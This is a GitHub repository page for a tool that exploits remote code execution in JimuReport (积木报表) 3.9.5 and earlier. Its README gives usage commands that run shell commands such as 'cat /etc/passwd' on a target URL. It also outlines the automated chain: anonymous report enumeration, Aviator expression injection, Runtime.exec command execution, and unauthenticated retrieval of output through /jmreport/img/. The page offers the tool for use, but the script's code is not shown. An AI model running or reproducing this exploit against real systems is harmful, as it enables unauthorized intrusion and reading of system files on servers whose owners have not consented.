Skip to content

About

积木报表<=3.9.5 RCE利用

Resources

Stars

0 stars

Watchers

0 watching

Forks

Latest commit

 

History

5 Commits

Folders and files

NameName
Last commit message
Last commit date
 
 
 
 

Repository files navigation

jmreport3.9.5Rce

积木报表<=3.9.5 RCE利用

用法:
  python3 jmreport_rce.py "http://127.0.0.1/jeecgboot" "id"
  python3 jmreport_rce.py "http://127.0.0.1/jeecgboot" "cat /etc/passwd"
  python3 jmreport_rce.py "http://127.0.0.1/jeecgboot" "ls -la /"

流程(全自动):
  匿名枚举报表 -> 探测哪个报表会执行 Aviator 参数 -> Step1 引擎改造 x2
  -> Step2 Runtime.exec 执行命令,输出写到上传目录 -> 免登录 GET /jmreport/img/ 拉回回显

命令限制(传输层特性,必须遵守,脚本会校验):
  不允许 ; | & + = % 和单引号 ';多段命令请拆成多条依次执行
  例: id | grep root  → 分两次: "id"  + 单独再跑一次
cca2ec412e19d0daf93886c0caa9ddee 070785a2f0ef96f238518ff30ac16061

About

积木报表<=3.9.5 RCE利用

Resources

Stars

0 stars

Watchers

0 watching

Forks

Releases

Packages

Contributors

Languages